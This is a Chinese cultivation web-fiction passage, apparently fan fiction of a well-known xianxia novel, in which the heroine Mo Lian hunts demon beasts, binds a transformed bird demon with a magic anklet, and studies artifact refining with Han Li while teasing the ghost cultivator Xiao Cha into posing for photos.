炼制的金雷竹法宝,他们父女两人必须持有,不单是因辟邪神雷的强大,同时也是为了到时候反制老鬼。
不过,那本功法,他也好奇得紧。
身在谈论漩涡中的萧诧却像个没事人,眼角余光不断扫过从头到尾都静默异常的男子——曲魂,在发觉此人神形俱灭,仅是韩小子的分魂在操控行动时,萧诧那双凤眸亮起一道幽光。
他心底翻涌着一个阴怨可怖的念头,
身外化身?
是极炫的传承者?
借着大拇指揩下唇的间隙,萧诧不动声色压制住怒恨,扫过韩立的眼神,透出一层冰冷淬毒的阴意。
可轮到墨怜时,凝视着她柔白的侧面。
阴郁的念头,却忽然减轻了,萧诧面上闪过一丝烦躁,阖上眼,静静地调息。
锚定了小寰岛的方位后,传送阵咻咻地震动。
处在传送阵内部时,墨怜觉得自己体内的空间之力,在启动的那一瞬发生了共鸣。
就好像它们来自同一种本源。
空间之力……墨怜暗自思索,又不禁想起方才那惊险的一幕,却被萧诧及时拦腰救下。
因为情况危急,她脑子一片空白,又被萧诧外貌所吸引,如今回味过来,她却觉得不对劲。
那老头恢复灵力的速度未免太过快捷。
她解开绝灵领域,前后也不过几分钟,老头总不可能在记忆短片的情况下,这么容易相信自己脚边摆的一瓶陌生丹药?
以老头修到元婴的境界,不可能不谨慎。
或者说,有什么她不知道的秘宝,老头才这么快恢复?
左思右想,墨怜打算今后出没在乱星海,都必须易容敛息,那老头势必已经将绝灵领域相关的消息,给透露出去。
见传送阵进度条显示到98%,一个环形涡旋的图样,亮了亮金光,三人被一股难以言语的力量给挤出传送阵。
成功降临小寰岛后。
韩立第一时间把墨怜拉到自己身后,手中已经祭起绿煌剑,“岛上有些许禁制,前辈还是不要随便入内得好。”
“若老夫说不呢?”萧诧反笑一声。
空气霎时陷入一阵诡谲氛围。
见这剑拔弩张的气氛,墨怜站在两人中间,打圆场,“诶诶,先别打,爹你前进洞府取走重要之物,他就交给我来对付。”
韩立踯躅了一下,看着墨怜坚持的面容,还是点了点头。
权衡利弊,还是先取物要紧。
以他观察墨怜和萧诧的修为,都在筑基后期,再加上墨怜有异宝相持,之前也与之分庭抗礼的相处。
总归,他还会再返还。
见韩立进入到禁制内,方圆好几里都被一个半透蓝色阵法所包裹,又有几个傀儡兽从山林各处出来迎接。萧诧笑了笑,“这小子会的东西还不少。”
“技多不压身罢了,说起来,一拖再拖的玄阴诀功法,老鬼你何时才能兑现?”
墨怜嘴上刺了他一句,却忍不住想起滞留的拍照任务了。
不等萧诧回应,她又说,“既然你还不想那么快教我,那不如先做一件事。”
一经说完,墨怜才发觉自己怎么那么大胆!
先前拍个腹肌照都要做足心理准备,现在她都有点没什么心理负担了,但她想拍最简单的——让萧诧稍微露个锁骨,然后鬼蛛丝穿过金铃垂在胸肌之间。
盯着墨怜神色一番观察,萧诧似乎看穿了什么。
脸上笑意陡然僵硬,匀称的食指一勾,朝墨怜脑门敲了敲,倏忽,表面却亮起一层防护罩的曲纹。
萧诧压不下心中的惊讶,“你竟是随身带着防护罩?!”
“诶——”
被这么一提醒,墨怜蓦然反应过来。
是哦,她之前在小岛闭关修炼时,就一直贴身戴着,后来又兑换了许多防护罩,加上她又只取用外层。
这么多年闭关,一出来,又是跟萧诧斗智斗勇,再遇见韩立……事情接踵而至,以至于她都忘记其实自己一直都佩戴防护罩。
因此,老头偷袭过来的那些暗器,她顶多被弹出传送阵。
但却性命无忧啊!
墨怜却有种劫后余生的小确幸,拍了拍胸脯,“真是小心过了头,我自己都忘了这回事。”
“那你方才想要老夫做什么。”萧诧却俯身逼近了她。
致命而摄人心神的威压,如乌云当顶,让人不自觉地灵魂战栗。
滋生的肥胆,只在与萧诧对视后的一分钟内,消失殆尽。
什么胸大肌顶金铃……
想都不敢再想了!
墨怜吞咽了下喉咙,忙不迭摇头,“呃,我是说这件事其实也不急着做,我们还是想想接下来的修炼物资该怎么解决吧?”
“呵呵——”萧诧忽的笑出声。
这老狐狸是真爱笑啊。
偏偏听起来阴森而癫狂的笑声,经过日光的洗礼,萧诧整个人诡异地多出一份阳光大男孩的活泼鲜活。
分明是个杀人不眨眼的嗜魂鬼修!
那天从小寰岛撤离,墨怜还唾弃了下自己,那么好的机会,她应该头铁,摁着老鬼拍一张照的。
三人通过传送阵,来到奇渊岛。
观此岛的黑石城人烟稠密,又离外星海海域较为接近,就是禁止以妖丹作为交易。
对韩立来说不算个事,他即将闭关,需要大量的妖丹辅助炼丹,暂时没有与人交易的计划。
墨怜还不急着立马结丹,便一口承诺,帮韩立去捕获妖兽内丹。
对此,韩立是有话也变无话了。
萧诧也深入黑石城,不知去看什么了,总是几日去几日归,但后面却自己也寻了个庭院洞府,还恰好挨着墨怜等人附近的山脉。
十几日后,湛蓝海面风浪翻涌。
墨怜飞行在内海域与外海域的边缘地带,因得了萧诧的几句提点,她没有贸然深入到外星海。
只听到那处海域多集聚许多高阶妖兽。
而妖兽与人类修士的体质不同,人族孱弱,而妖族得天独厚,体质强悍异常,但未进阶诞生灵智前,却是不敌人族修士。
许多修士们也会打这些
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尚未长成的妖兽的内丹。
不仅是因为这样来得快,更是因为乱星海的地域所限制,岛上的修士们大多不会费时费力去培育灵植。
墨怜本来想种,却也中途放弃了。
万界交易平台也是有卖主售卖植物快速生长灵液,但价格很是感人。思量至此,她飞到一处珊瑚礁岸,停顿在半空。
俯身往下望去,可见海水之下一条游龙般的身姿,若隐若现,漾起几圈波澜。
这时,系统界面忽然传来多情桃花的私聊:
【后辈啊,你拖了好些时候的照片何时才能上交,你不知你上传的那几张照片卖得很火啊!】
‘什么,前辈你还真……不过晚辈会尽快拍的。’
【是遇到什么困难?】
墨怜还没来得回信,就听886提示,对方又发送过来一个道具。
这……前辈未免也太过热情。
她心中虽这么想,可架不住好奇,点开查看,却呈现一条锁链的缩影。
还是脚链。
脑海不受控地闪过某种不可言说的某色癖好。
【具体详情,晚辈你自行查看,当然有什么不懂得都可来问,本群主没有什么别的要求,就是要多上点美图。】
心下过意不去,她还是送去一些积分。
那前辈倒是收下,没跟她客气。
实在心痒这道具,墨怜四下里张望,见无人,她召出脚链来看。
不料,海下猛地窜出一条漆黑蛟龙。
速度之快,墨怜往后拉开一段距离,又运转身法,躲开蛟龙的袭击,又用数道剑芒,劈砍在蛟龙头首。
震得这头拿脑袋硬抗的妖兽,脑瓜子嗡嗡响,仰头嗷嚎。
趁它病要它命,墨怜正欲举剑刺去——
“铮!”
锋利的翠玉剑尖被一股极强的力道,扭转了剑道,墨怜心下一惊,忙转变身法,卸去那施加在剑上的巨力。
省得它被弄得玉碎剑亡。
“该死的人类,胆敢在吾面前残害妖族!”
墨怜:??
不知何时,一个面容妖异、头佩长金立冠的男子,赫然立于她上方。
上身披了件向外延爪牙的肩甲,衣袍还有些许暗紫色羽毛的配饰,浑身透露出一股说不上的标致和矜贵。
但他嘴里说的妖族,语气还那么生气……
墨怜已联想到此人是不是妖兽?
第二想法是,丸辣,是化形大妖。她立即放弃捕猎,转身往外飞遁。
遇见化形大妖,根本不是她能够对抗的。
“哼,狡猾的人类,还想逃?”风希怒喝,超密而精致的眼睫几乎要燃出火焰,身后展开双翅,“今日你是逃不出风某的手爪!”
见对方穷追不舍,墨怜心中也是慌了神。
不成想这妖族竟还是个鸟兽,她纵有空间之力的加持,速度也不可能敌过翱翔于天空的鸟禽。
它们才是天生的苍穹霸主。
那双翅膀更是一个扑哧,就以不可估量的速度,接近了她身后。
眼看他再往前一飞,伸手就可以抓住自己。
墨怜被逼得没有办法,急中生智地,把手中的脚链给甩了出去。
先砸,砸晕了这鸟人最好!
但出乎她意想,这条脚链像有生命似的,锁链凭空拉长了好几节,亮起光芒,只朝风希面首飞去。
反应速度颇快的风希,面对这道突袭,仅一个翻身,就轻轻松松地躲开。
“人类你放下抵抗,本尊或许能饶你一命。”
墨怜冷呵呵回他,“人妖殊途,谁知阁下会不会杀人泄愤?”
但下一刻,风希却变了脸色。
那条脚链不知何时,如菟丝花般缠住他的脚踝!
分明刚刚,他已经将其甩开了呀。
“噗通”一声。
风希整个人形,蜕变成一只萌哒哒的小鸟,形似某个紫色调的走地鸡,鸟爪还被一条细细的脚链钩住。
而链锁的另一端,则自动垂落在墨怜手中。
光芒渐渐淡去,风希小鸟也啪叽一下,在空中坠了下去。
但他又扑腾着毛茸茸的翅膀,憋着一口劲,硬是从墨怜的膝盖间,飞到她的头顶。
那黑豆豆的鸟眼如果能放出射线的话,墨怜觉得,自己已经被这小鸟给打得重开了。
面对这一切,她犹如做了一场荒诞不羁的梦。
墨怜震惊。
墨怜不解。
但嘴角的弧度,却是疯狂上扬。
她顷刻抓住风希小鸟,只听得他张开鸟喙,小舌头震颤:“啊!人类,你到底对本尊做了什么!!!”
鸟声凄厉,余音环海不绝。
20.循访集市
“叫破喉咙,也不会改变你沦落到我手上的事实。”
墨怜好心地劝解,见风希顶着一只小鸟身体,圆滚滚跟个团子似的,灰紫纹的羽毛似敷上了一层霞光,炫丽又绸柔,好像很好rua的样子。
对这种毛茸茸很难抵抗,她忍不住伸手去摸。
“啾!”
反被风希啄了一口掌心的肉,她捂了下手,蹙眉:“嘶嘶,你啄起人来,还挺疼的。”
疼?
疼死你最好!风希歪着小鸟头,用豆豆眼瞪了她一下。
“你这小眼神还真是可爱,不过……”墨怜调笑的语气稍顿,葱白的指尖虚虚一点,“你这小鸟,还是个睫毛精呢。”
被脚链萌化成小鸟形态的风希,也无法掩饰眼睑卷翘的浓而密的睫毛,像是两把小毛扇,随着风希几个快速眨眼,就布灵布灵地直跳。
而风希还是只公鸟。
众所周知,鸟禽类都是雄性长得花枝招展,虽不知他原本的妖形是何种模样,但此刻变成一只招人喜欢的小鸟,墨怜心中就有说不出的痛快,淡忘之前还被风希追着杀的场面。
她憋着笑容,牵脚链,又对风希努努嘴,“啁啾,啁啾,小鸟叫一声。”
风希浑身羽毛根根扎起,扑腾着翅膀,从肚下绒毛里勾起小脚爪,直奔墨怜的嘴巴抓去。
“人类,胆敢羞辱本尊,看本尊不抓烂你的臭嘴!”
呀,逗鸟踩雷。
墨怜淡定地将脚链往下一扯。
就见风希整只鸟不受控制地往下掉,疯狂扇翅,也被一股无形的力道吸下去,失重的感觉让他鸟体一僵。
瞪圆的豆豆眼虹膜表面倒映着墨怜的面容,人性化地滑过一丝震惊。
这女人为何能轻而易举地拉拽他?
更诡异的是,他除了身体变小,连一身妖力也似乎不能施展。
何等的邪术,在人族之中却闻所未闻。
墨怜见他难驯,等会还要捕猎妖丹,可不能为此耽搁太久。将风希收入镜子,见他啾啾的声音淡化在空气中,她才放出小红,温声说,“小红,咱们一起行动。”
“吼。”小红摇头摆尾。
一身火红龙鳞在阳光映照下,烨烨生辉,海底的蛟兽察觉到他的气息,纷纷隐匿身形,或遁,或潜。
墨怜望向辽阔无垠的海洋远方,对风希所说的残害妖族,她表示这是人与妖之间不可调和的矛盾,除非有别的办法,让人族修士获取与妖丹价值同等的灵宝。
可惜,乱星海并没有这样的东西存在。
屁股决定脑袋,眼前紧缺的妖丹才是重中之重的事。
思量至此,她带着小红,如横行的海盗,处处打劫。
十来条蛟兽被一网打尽,一颗颗鲜艳饱含灵气的妖丹被尽收囊中,小红也把这些蛟兽尸体吞噬进肚。
见数量足够,墨怜便返回黑石城。
到了修士们专门交易的坊市,才发现这边像举办着大型的集会。两边街道开张的铺子,还有边上摆摊的散修或凡人。
一条黑石板铺成的路面上,行走着各色来往交易的修士。
他们境界各不相同,一眼望去还是以筑基为主。
墨怜混在其中,易改成一个瘦弱的麻花脸姑娘,打扮朴素,丢在人群中都找不出的路人形象。
街边售卖的种类繁杂,深具乱星海的特色,这边吆喝的灵兽特别多。
在天南大陆,妖兽稀少,许多结丹修士有妖兽作为坐骑,作为体面的象征之一。墨怜难得一饱眼福,但这些妖兽比她捕猎妖兽的外形上顺眼得多。
有女修偏好的毛绒可爱防御型,或男修看重的攻击力量型。
墨怜一边看着兽笼里的妖兽们,一边感应到小红不满的情绪,大抵是在气墨怜太花心了。
‘你是老大,其他兽进门前,都要听你指挥。再说,他们对我而言只是过客,但小红你在我心目中却是独一份。’
不知是不是得到了安慰,小红在她神识里勉强扬了扬龙首,似乎认可了她这番话。
刚安慰完,墨怜神色一凝。
转动眼光瞥向街道独显的一座阁楼,顺上望去,匾额上描摹着几个鎏金大字,她念出声:“寸、金、阁,这是个什么去处。”
进去前,还有个提示牌,严谨用妖丹交售。
墨怜定神扫过,谨记下这个规矩,踏过门槛,就见尽头有几个人影自上而下地飞来飞去。
待走近去近观,她才发现是几名衣着暴露的舞女。
正巧,墨怜一到场,就有一个侍女落地宣读一位仁兄抽中了二等奖,紧接着,那位中年大叔修士将飞下来的舞女搂入怀中,两人用你懂的眼神互相对视,揽着肩膀往侧廊走去。
这场景幻视某会所的陪酒文化。
墨怜蹙起眉,一眼也不想多看。索性上楼,在楼阁上有一个专门卖药植的金丹老头,她付了些灵石,按丹方买了一些辅助修炼的材料。
下楼又见这飞天舞女交易,她快步走出大门,暗自低喃:“经营这间阁楼的阁主,还真是个品味低俗的家伙。”
待在镜子里的风希,神识捕捉到墨怜的吐槽,没忍住传音:
“何为品味低俗,你们人族修士要真高风亮节,怎么不见寸金阁生意落败?”
“这……但这不代表所有人类都喜欢那种低劣的氛围,说来说去,没有女修会真心实地喜欢这种风气肆虐,而我恰好是其中一员。”
墨怜看着心里不舒坦,这世道女修本就艰难万分,还要被物化,成为男修们修炼时的一种调剂玩意。
或被当成鼎炉榨取修为,或被当成生育工具,延续灵根世家。
“你是只鸟,怎么会懂人的这些弯弯绕绕,我就是掰扯个七天八夜,你也不会感同身受。”
听着墨怜反驳的话,风希冷哼一声,“谁要共情你们人类,妖只需要搞懂你们人类在想什么就足矣。”
猜透人心?
墨怜摇摇头,连打击小鸟的话都不想说,怕他再次破防。
一人一鸟拌嘴的间隙,已走到坊市外的郊野。
走在墨怜前方的几名修士,忽而转道去往别处,她动用神识一查,便发现某处山林竟有灵力打斗的波动。
得益于《大衍决》,她隐匿身形没入山林,只离战斗漩涡数十里的位置,便清晰探听到他们的对话。
听得这帮人在争夺一个叫虚天残图的玩意。
光瞧这名字,倒像是个秘境的地图。
墨怜感觉这都修仙套路了,便又折回原来的坊市,去茶楼用丹药贿赂了一名店小二,果不其然得到了乱星海几大秘境的消息。
其中,为秘境榜首的虚天殿,引起了她的注意。
而这虚天殿还是被星宫所管辖的第一秘境,凡是入境者,都需要被星宫的长老们监督。说是这样避免杀人夺宝,让修士们能公平地竞得机缘。
还传言虚天殿内殿最后一关,可以夺到返老还童的补天丹。
因此,墨怜对那帮人攫取虚天残图的动机算是明了。
每一个秘境,对修士来说,都是莫大的机缘。
也难怪这些没有跟脚的散修,拼了命也要获取进入虚天殿的机会。
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……
回到租赁的洞府,隔壁便是韩立的庭院。
山清水秀,翠竹绕屋,墨怜踏步入内便被一阵白雾包裹,在门口时而虚时而凝地显示禁制的痕迹。
她朝紧闭的大门行了礼,那禁制便自动解开。
“爹,我回来了。”墨怜推门而入。
蒲团上盘膝打坐的韩立,才正睁开眼,定定地上下扫视她,发觉无恙后,温声:“此番前去,收获如何?”
“这一路半惊半险。”墨怜寻了石凳坐下。
对面飞来一盏泡好的灵茶,她笑了笑,捧住茶杯,轻嗅了茶水表面,“好香的灵茶。”
“可是遇上什么麻烦事,不妨一同道出。”
听韩立这么一说,墨怜指尖轻滑,从腰间飞出一面镜子。
伴随她解除其灵力的桎梏,从中飞出一只灰紫小鸟,在出来的第一时间,就朝墨怜的脸飞去。
“你还真是锲而不舍,专啄我脸。”墨怜无奈叹了口气,扯住链条,防止风希小鸟凑近她脸。
这变小了身形,攻击力倒也没弱到哪里去。
毕竟现代一只小鹦鹉,可是能用鸟喙切割瓦楞纸,咬破人手指头更是屡见不鲜。
观察了风希一会的韩立,眼光微转,“此灵兽外表小巧,内里却截然不同,远不及表面那般柔弱,莫非是什么特殊灵兽?”
“不。”墨怜摇头,手指刮了刮风希的小毛脑瓜,对方侧着鸟脸瞪她,张开鸟喙就说起人话:“人类,你有本事就解开禁锢,跟本尊一对一的决斗!”
“笨!我一个筑基跟你一个化形大妖打什么,我嫌自己小命长了?”
墨怜没好气地用两根手指撞了撞风希的小身板。
触手的羽毛,仿佛一段滑腻的丝绸,怎么摸怎么舒服,惹得她又刮了刮他羽翼,被风希一脸嫌弃地跳开小脚,弹到另一边的空地。
随后,不忘一翅膀扇她手指甲上。
“化形大妖?”
韩立心中惊诧,展开神识对风希进行多番探查。
待他收回神识,暗忖,难怪他总觉得这灵兽浑身充斥一种诡异的割裂感。
“爹,全靠这条脚链,不然我差点被他抓住。”墨怜一边解释,一边从储物袋中分出这些时日捕猎的妖丹和材料。
检查一番后,韩立满意地颔首,转手收下,“不错,辛苦你了。”
“帮爹分劳,怎会觉得辛苦。”
墨怜还有些话要跟韩立细说,便握住风希软乎的小毛球身体,向空中一抛,又让小红出来陪着消耗他的精力。
扑飞翅膀的风希,被小红用龙爪刨空气似的刨到爪边。
两个都脾气暴躁,一照面,倒是有得斗。
省得战斗小鸟,总是一副恨不得干翻所有人类的神情。
望了望身边稀奇盯着他转悠的火龙,风希不屑地嗤声,这话都不会说的笨龙竟然肯签订奴契,与这女人狼狈为奸,合起伙来欺负他。
……
进入内室,里头布局简单却整洁。
设下隔音罩和又一重禁制后,韩立才听墨怜交代了前去外海打猎的具体情况,以及去黑石城坊市的所见所闻。
“要说乱星海最大的机缘,莫过于这虚天殿了,但这样的秘境却被星宫所掌控。”墨怜见韩立转身去取东西,便看看地上随处可见的金雷竹。
“诶,爹你什么时候弄出这么多金雷竹啊?”
不是说要长一万年么。
墨怜越发好奇,就见韩立从拿出一个冒着灵光的匣盒,浅褐色眼眸含笑,“你打开来看看。”
21.背后追踪
不过巴掌大的小盒子。
墨怜却越看越神秘,心头滑过数不清的想法。
这是韩立头一回这么有仪式感地赠礼,尽管她还猜不透会是什么,但那份喜悦如同喝了蜜浆一样。
她绷紧嘴角,竭力克制自己的激动。
小心翼翼地往上一掀。
匣子开口边缘泄露一缕青晕,夹杂点雷光,咻的一声飞出一梭流芒。
在四散的灵光之中,像千手观音一般,一把悬浮的竹剑幻影分裂成十二把,剑刃锋锐,环以滋滋金电花。
整一套剑蓄满了辟邪神雷。
隔着空气,都仿佛能感受到它能劈碎阴邪,斩尽杀绝的强大气息。
还是……十二把为一套!
豪横,金雷竹批发商才有的底气。
墨怜猛的抬面,亮晶晶的眼眸像盛满星辰,被这样赤热的目光紧盯,韩立面容挂着淡笑,可声音却倾泻出几分愉悦,“你可喜欢?”
“何止是喜欢!我从没拥有过这么酷炫的法宝……”
前期积分拮据,买得大多是以防身为目的的法器,特效自然不如这些金雷竹炼制的法宝。
该说不愧是她爹,竟然还会炼器。
本打算拿妖兽骨甲,寻个炼器铺子交易打造法器。
墨怜用灵力驱使,竹剑如动起自己手臂一般灵活自如。
她本就是主修剑道,越用越对这份礼物爱不释手,当本命法宝也绰绰有余。
看到墨怜是真心实意的喜爱他打造的法器,一股自豪油然而生,韩立笑道,“你呀,日后修行也可学习炼器一道,我们散修不比宗门底蕴,多学多用,壮大自身,说不准哪一天会用得上。”
“爹,你说得很对。”
说起炼器,墨怜想到万界交易平台。
兑换一本炼器心得解注。
还是不难滴。
墨怜直接积分一换,掏出一本泛黄的古书,“爹,那我们一起看吧!”
“?”
韩立微不可觉地瞪大了眼眸。
见只有一本教材,没点练手材料怎么行,墨怜又掏出一些妖兽的尸骸。
还得说妖兽全身都是宝。
炼器的绝佳材料。
“……墨怜你这是从何而来的?”韩立一下子就凑到墨怜身边,一同观阅。
只瞧了寥寥数行,他眸光愈发震撼,久久不语。
完全沉浸在炼器之道的知识海洋之中,这本典籍融合了数位炼器大能的心得,每一句注解,都是前辈呕心沥血,绕过许多弯路的经验之谈。
对他这种有些实操经历而言,是最好的理论指导。
不知不觉间,墨怜都被韩立给挤着挤着……
被挤开了。
典籍彻底被他霸占的抱着看,陷入浑然无人的心流状态。
墨怜:“……”
不是,爹你也太好学了吧?
似乎察觉到墨怜幽怨的小眼神,韩立才抬起头,脸色掠过一丝尴尬,“稍等,为父看过后,再一起教导你,我们手头材料不多,不能浪费才是。”
“那好,我看另一本书吧。”
闲着也是闲着,墨怜又兑换了一本阵法,不过比炼器稍微贵一些。
涉及到禁制方面的知识,对之后闯一些秘境阵法有所裨益。
墨怜刚一摊开书,身后悄然而至一道不可忽视的身影。
她不用回头也知道是谁。
“不行,我得先看!”
“如此……也好。”
心痒痒的韩立握着炼器心得,挠了挠鼻子,只好坐在墨怜身边的椅子上,沉下心来参悟手头这本书。
他有辛如音道友赠送的阵法心得。
对他已有许多助益。
古传送阵,颠倒五行阵,让他好几次从生死危难关头,顺利逃脱,还绞灭了敌手。
但人总是看着碗里,还惦记着锅里,而墨怜拿出来的一本炼器典籍本就足够惊艳。
另一本关乎阵法的典籍,韩立自然心痒难耐。
可念及墨怜就在身旁,倒也不用操之过急。
在看书学习方面,父女一脉相承的废寝忘食。
韩立看得投入,不仅逐字逐行地研究,还会配合实践,写出自己的见解。
一旦他搞懂某个关窍,墨怜会被叫到他身侧,一起实践攻克。
教学相长,韩立巩固了认知,墨怜也获益匪浅。
修行日子如弹指一挥间般流逝。
一个月后,父女两人的桌案上堆叠了许多涂涂改改的手稿。
他们在炼器和阵法一道上,造诣有了全新的进展。
这一天,结束参悟的韩立找到她交代,“墨怜,为父打算先集中精力突破筑基中期,这一段时日会闭死关不出,你有何打算?”
“爹,我想再回去天南一趟去找当初的秘境。”
“是八年前将你传送至此的秘境么?”韩立眸光诧异。
墨怜点头,“当初我就好奇那控制秘境的宝物究竟是什么,若我猜得不错的话,或许这灰雾传送是第一关。”
“不管怎样终究是猜测,此去你需得小心……但到那地方,你先在外做个标记,用玉佩与为父通讯,若有风险,也好顺着标记去寻你。”
墨怜接过韩立送来的一副阵旗,冒着阵阵青芒。
瞧他一脸肉疼的表情,还很舍不得。
便知其价值不菲。
“爹,你不用担心,我会留个心眼的。”
……
在晴天碧云的天气,与韩立告别后,墨怜准备用传送阵,过去天南。
由于附近是供修士修炼的租赁洞府,来往人多眼杂。
为避免不必要的麻烦,墨怜干脆飞去附近的小岛。
身后却跟来一个小尾巴。
墨怜飞在空中,青丝如瀑,眼角余光回望后方,若隐若现的灰蓝丝气,“老鬼,还玩跟踪的小把戏啊?”
见被识破意图,萧诧也不装了,显现出真身来。
时隔多日的见面,姿容风采依在,和暖的日光照在他那张堪称艳冶又富有攻击性的五官上,更显出几分少年张扬。
他开口第一句,仍是呵呵笑了出声,“已有数月未见,你我二人怎的还变得生疏起来。”<
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“不生疏,那也不跟你有多熟稔。”
“老夫记得我们关系没那么浅薄。”萧诧见她停伫在半空,得寸进尺地闪近些许距离,离墨怜仅有三步之遥,“丫头,你要去何处?”
不适应他突如其来的靠近。
一吸气,就能闻到他身上似乎多了一种沉香,怪好闻的。
但同时,又有一丝陌生的血煞之气。
怕是不知在哪里修炼魔功。
墨怜下意识后倾身子,蹙眉,“与你有何干系!”
“怎么没干系,那日你都看了老夫的身子……”萧诧掩了掩眼角,像是被占尽了清白的良家男子,“若被昔日老友所知,老夫的颜面要一扫而空了!”
“得了,我还不知道你?”
满嘴跑火车,嘴里没一句真话。
且不说老鬼有没有世俗意义上的朋友,就看他这厚脸皮程度,也不是会被名誉所困的人。
墨怜可不吃这一套。
但被他这么一提醒,倒是记起拍照大任。
想起他的好处,墨怜笑了笑,“想跟我一起去那地方,倒也不是不行。”
“哦丫头,你该不会——”萧诧话音一顿,凤眸蓄起寒芒,“还要老夫陪你再录一段留影?”
见墨怜表情怔住,垂下眼,眼光四处乱瞟,看云,看海,就不正眼看他。
心里定然是惦记他的身子。
萧诧摩痧下巴,也没琢磨明白,丫头为何这般贪图男色?
因为他看得出,墨怜不是全然应付的心态,那眉眼间自然流露的神色,是骗不过他的眼睛。
是什么原因,墨怜当然不会告诉他。
“你答对咯,”墨怜笑了笑,掏出金铃和留影珠,“前辈,这个要求很简单,只要你嘴巴咬着它,做一个伸猫爪的动作,行不行?”
“那报酬呢?老夫不满意,可不会轻易做的。”
萧诧双手环抱,姿态隐隐透出一丝慵懒。
叫人难以分辨,他到底是心有意动,还是心感无趣。
“爱做不做。”
墨怜哼了声,径直往前飞去,就见萧诧忽如鬼魅般飘到她身侧,与她保持齐头并进。
“先说你要去哪里,不会是什么秘境所在?”萧诧试探地问。
嘶,倒被他一语中的。
“是又如何?”墨怜反问,“那老鬼你做好拍照的觉悟了么。”
沉思片刻,萧诧眉眼神态,被额海投落的一层阴影遮挡。
那一手修长的指骨尖,呲的一下,冒出一小团鬼焰。
幽晃晃,如同他的心念。
不知方向会是这一秒偏左,还是下一秒偏右。
声线略低沉,在阵阵嘲音中,愈发凸出:“嗯,老夫就随你所愿。”
什么她所愿!
墨怜没好气地在心底纠正。
但有点不相信她的耳朵,这老鬼竟然还真舍得做这些看似羞耻的动作?
她垂眸,瞧了瞧手中的金玲。
那她说早了。
应该再提一提捆绑,老鬼应该会一起答应……
的吧?